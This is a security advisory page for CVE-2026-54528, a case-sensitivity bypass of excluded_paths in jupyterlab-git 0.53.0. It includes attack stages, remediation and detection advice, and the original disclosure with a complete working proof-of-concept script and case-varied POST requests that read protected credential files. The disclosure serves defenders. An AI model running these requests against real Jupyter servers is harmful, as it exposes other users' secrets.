CVE-2026-54528: jupyterlab-git: excluded_paths bypass exposes secrets

GHSA-436q-jwfr-rm2h HIGH
Published June 19, 2026
CISO Take

jupyterlab-git 0.53.0 uses a case-sensitive pattern matcher to enforce admin-configured path exclusions, allowing any authenticated user on macOS (APFS) or Windows (NTFS) servers to read git-tracked files from protected directories by simply varying the URL path case — e.g., POST to `/git/project/Secrets/content` bypasses a rule blocking `/git/project/secrets`. With 1,874 downstream dependents and a fully working public PoC requiring zero specialized knowledge, any multi-tenant JupyterLab or JupyterHub deployment where credentials directories were treated as protected must be considered at risk today. The vulnerability carries no CISA KEV listing and no EPSS score yet, but the trivial exploitation barrier (change a letter's case in the URL) means any authenticated insider or compromised notebook session can exfiltrate secrets — including historical commits in git. Patch to jupyterlab-git 0.54.0 immediately; as a temporary workaround, remove all sensitive files from git-tracked excluded directories and rotate any credentials that may have been committed.

Sources: NVD GitHub Advisory ATLAS OpenSSF

What is the risk?

High risk in shared JupyterLab and JupyterHub environments. Exploitation requires only a valid session token and a single HTTP request with a case-varied path — no AI/ML knowledge, no special tooling. On single-user local installations the attack surface is negligible; in enterprise ML platforms with multiple authenticated users, any one of them can pivot to read git-tracked secrets supposedly protected by excluded_paths. The 23 prior CVEs in this package signal persistent security debt. The OpenSSF Scorecard of 5.8/10 suggests limited secure-development practices. No active exploitation reported, but the public PoC lowers the barrier to near zero.

How does the attack unfold?

Reconnaissance
Authenticated user probes the jupyterlab-git HTTP API and observes that POST to /git/project/secrets/status returns HTTP 404, revealing that /project/secrets is an admin-excluded path.
AML.T0006
Exploitation
Attacker crafts a case-varied URL (/git/project/Secrets/status) that passes the fnmatchcase check because the pattern comparison is unconditionally case-sensitive, receiving HTTP 200 on the same underlying filesystem directory.
AML.T0049
Collection
Attacker enumerates files in the excluded directory via the /status and /log endpoints, identifying credential files and walking git history to find deleted secrets in prior commits.
AML.T0037
Exfiltration
Attacker reads credential file content via POST /git/project/Secrets/content with specific filename and git ref parameters, exfiltrating API keys, model registry tokens, or cloud credentials over HTTP.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Jupyter pip <= 0.53.0 0.54.0
13.2K OpenSSF 5.8 1.9K dependents Pushed 7d ago 79% patched ~9d to patch Full package profile →

Do you use Jupyter? You're affected.

How severe is it?

CVSS 3.1
7.1 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C High
I Low
A None

What should I do?

6 steps
  1. Patch: Upgrade jupyterlab-git to 0.54.0 which replaces fnmatch.fnmatchcase() with case-normalized matching.

  2. If patching is delayed, do not treat excluded_paths as a security boundary — move all sensitive files out of git-tracked directories entirely and use .gitignore to prevent future commits.

  3. Rotate all credentials stored in excluded directories; assume they were readable since deployment of 0.53.0.

  4. Purge secrets from git history using git filter-repo, since the attack exposes all historical commits not just HEAD.

  5. Detection: audit web server access logs for POST requests to /git/*/content or /git/*/status where path segments differ in case from known excluded patterns.

  6. Defense in depth: enforce secret scanning (e.g., truffleHog, gitleaks) at commit time so credentials never enter git history.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2 - AI system access control
NIST AI RMF
GOVERN 6.1 - Policies and procedures for AI risk management MANAGE 2.2 - Mechanisms for AI risk response and recovery
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-54528?

jupyterlab-git 0.53.0 uses a case-sensitive pattern matcher to enforce admin-configured path exclusions, allowing any authenticated user on macOS (APFS) or Windows (NTFS) servers to read git-tracked files from protected directories by simply varying the URL path case — e.g., POST to `/git/project/Secrets/content` bypasses a rule blocking `/git/project/secrets`. With 1,874 downstream dependents and a fully working public PoC requiring zero specialized knowledge, any multi-tenant JupyterLab or JupyterHub deployment where credentials directories were treated as protected must be considered at risk today. The vulnerability carries no CISA KEV listing and no EPSS score yet, but the trivial exploitation barrier (change a letter's case in the URL) means any authenticated insider or compromised notebook session can exfiltrate secrets — including historical commits in git. Patch to jupyterlab-git 0.54.0 immediately; as a temporary workaround, remove all sensitive files from git-tracked excluded directories and rotate any credentials that may have been committed.

Is CVE-2026-54528 actively exploited?

No confirmed active exploitation of CVE-2026-54528 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54528?

1. Patch: Upgrade jupyterlab-git to 0.54.0 which replaces fnmatch.fnmatchcase() with case-normalized matching. 2. If patching is delayed, do not treat excluded_paths as a security boundary — move all sensitive files out of git-tracked directories entirely and use .gitignore to prevent future commits. 3. Rotate all credentials stored in excluded directories; assume they were readable since deployment of 0.53.0. 4. Purge secrets from git history using git filter-repo, since the attack exposes all historical commits not just HEAD. 5. Detection: audit web server access logs for POST requests to /git/*/content or /git/*/status where path segments differ in case from known excluded patterns. 6. Defense in depth: enforce secret scanning (e.g., truffleHog, gitleaks) at commit time so credentials never enter git history.

What systems are affected by CVE-2026-54528?

This vulnerability affects the following AI/ML architecture patterns: ML development environments, Data science platforms, Training pipelines.

What is the CVSS score for CVE-2026-54528?

CVE-2026-54528 has a CVSS v3.1 base score of 7.1 (HIGH).

What is the AI security impact?

Affected AI Architectures

ML development environmentsData science platformsTraining pipelines

MITRE ATLAS Techniques

AML.T0025 Exfiltration via Cyber Means
AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.6.2
NIST AI RMF: GOVERN 6.1, MANAGE 2.2
OWASP LLM Top 10: LLM03:2025

What are the technical details?

Original Advisory

## Summary `jupyterlab-git` 0.53.0 (latest, 2026-04-30) uses `fnmatch.fnmatchcase()` in `GitHandler.prepare()` (`jupyterlab_git/handlers.py:91`) to enforce the admin-configured `excluded_paths` security control. Because `fnmatchcase` is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting `/git/project/Secrets/...` instead of `/git/project/secrets/...` — gaining read access to git history, file content, and status in directories the administrator explicitly excluded. ## Vulnerable Code ```python # jupyterlab_git/handlers.py:84-92 async def prepare(self): """Check if the path should be skipped""" await ensure_async(super().prepare()) path = self.path_kwargs.get("path") if path is not None: excluded_paths = self.git.excluded_paths for excluded_path in excluded_paths: if fnmatch.fnmatchcase(path, excluded_path): # ← always case-sensitive raise tornado.web.HTTPError(404) ``` ## Root Cause `fnmatch.fnmatchcase()` is unconditionally case-sensitive regardless of the operating system. Contrast with `fnmatch.fnmatch()` which normalizes via `os.path.normcase()` on case-insensitive platforms. ```python fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check ``` On macOS APFS and Windows NTFS, `/project/Secrets` and `/project/secrets` resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream `url2localpath()` resolves the case-varied path to the same filesystem location. ## Impact An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured `excluded_paths` by varying the case of the URL path segment. This grants: - Read file content at any git ref (`/content` endpoint) - Read working tree files in the excluded directory - View git status, log, diff on the excluded path - Enumerate commits touching excluded files ## Attack Scenario 1. Admin configures `c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]` 2. Normal request `POST /git/project/secrets/status` → HTTP 404 (blocked) 3. Attacker requests `POST /git/project/Secrets/status` → HTTP 200 (bypass) 4. Attacker reads secret: `POST /git/project/Secrets/content` with `{"filename": "./cred.txt", "reference": {"git": "HEAD"}}` → file content returned ## Exploit See `poc.py`. Starts a real jupyter-server with jupyterlab-git loaded, configures `excluded_paths`, and demonstrates bypass + exfiltration via HTTP. ```python import json, os, shutil, subprocess, sys, tempfile, time import urllib.request, urllib.error from jupyterlab_git.handlers import GitHandler # real import, no mock from jupyterlab_git_core.git import Git import jupyterlab_git_core PORT = 18895 TOKEN = "xtoken" BASE_URL = f"http://127.0.0.1:{PORT}" SECRET = "sk-PROD-a8f2x9q-LIVE-KEY" def post(path_seg, endpoint, body=None): url = f"{BASE_URL}/git/{path_seg}{endpoint}" data = json.dumps(body or {}).encode() req = urllib.request.Request(url, data=data, method="POST", headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"}) try: resp = urllib.request.urlopen(req, timeout=10) return resp.status, json.loads(resp.read()) except urllib.error.HTTPError as e: return e.code, e.read().decode() def main(): base_dir = tempfile.mkdtemp(prefix="jlgit_") workspace = os.path.join(base_dir, "workspace") repo_dir = os.path.join(workspace, "project") secret_dir = os.path.join(repo_dir, "secrets") os.makedirs(secret_dir) with open(os.path.join(secret_dir, "cred.txt"), "w") as f: f.write(SECRET + "\n") git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"} subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True) subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True) subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir, capture_output=True, check=True, env=git_env) config_path = os.path.join(base_dir, "jupyter_server_config.py") with open(config_path, "w") as f: f.write(f'c.ServerApp.root_dir = "{workspace}"\n') f.write(f'c.ServerApp.token = "{TOKEN}"\n') f.write(f'c.ServerApp.open_browser = False\n') f.write(f'c.ServerApp.port = {PORT}\n') f.write(f'c.ServerApp.ip = "127.0.0.1"\n') f.write(f'c.ServerApp.disable_check_xsrf = True\n') f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n') env = os.environ.copy() env["JUPYTER_CONFIG_DIR"] = base_dir env["JUPYTER_DATA_DIR"] = base_dir proc = subprocess.Popen( [sys.executable, "-m", "jupyter_server", f"--config={config_path}", "--ServerApp.jpserver_extensions={'jupyterlab_git': True}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir) for _ in range(30): try: req = urllib.request.Request(f"{BASE_URL}/api/status", headers={"Authorization": f"token {TOKEN}"}) if urllib.request.urlopen(req, timeout=2).status == 200: break except (urllib.error.URLError, OSError): pass time.sleep(0.5) else: proc.kill() shutil.rmtree(base_dir, ignore_errors=True) sys.exit("server failed to start") try: # exclusion works code, _ = post("project/secrets", "/status") blocked = code == 404 # bypass code, _ = post("project/Secrets", "/status") bypassed = code == 200 # exfiltrate code, body = post("project/Secrets", "/content", {"filename": "./cred.txt", "reference": {"git": "HEAD"}}) content = body.get("content", "") if isinstance(body, dict) else "" exfiltrated = SECRET in content ok = blocked and bypassed and exfiltrated print(f"exclusion enforced (lowercase): {blocked}") print(f"bypass (case-varied): {bypassed}") print(f"secret exfiltrated: {exfiltrated}") print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}") return ok finally: proc.terminate() proc.wait(timeout=5) shutil.rmtree(base_dir, ignore_errors=True) if __name__ == "__main__": sys.exit(0 if main() else 1) ``` ```bash pip install 'jupyterlab-git==0.53.0' python poc.py ``` <img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" /> ## Fix ```python if fnmatch.fnmatch(path.lower(), excluded_path.lower()): raise tornado.web.HTTPError(404) ``` Or apply `os.path.normcase()` to both operands before comparison.

Exploitation Scenario

A data scientist on a shared JupyterHub instance sends POST /git/project/secrets/status and receives HTTP 404, revealing that /project/secrets is an excluded path. They then send POST /git/project/Secrets/status with their session Bearer token and receive HTTP 200. They enumerate target files via the /status and /log endpoints, then exfiltrate an MLflow tracking server API key by requesting POST /git/project/Secrets/content with body {"filename": "./mlflow_creds.txt", "reference": {"git": "HEAD"}}. They walk git history to recover credentials that were rotated months ago by querying earlier commit SHAs. The entire chain requires only curl and an authenticated session cookie obtained from their own valid JupyterLab login.

Weaknesses (CWE)

CWE-178 — Improper Handling of Case Sensitivity: The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

  • [Architecture and Design] Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Timeline

Published
June 19, 2026
Last Modified
June 19, 2026
First Seen
June 19, 2026

Related Vulnerabilities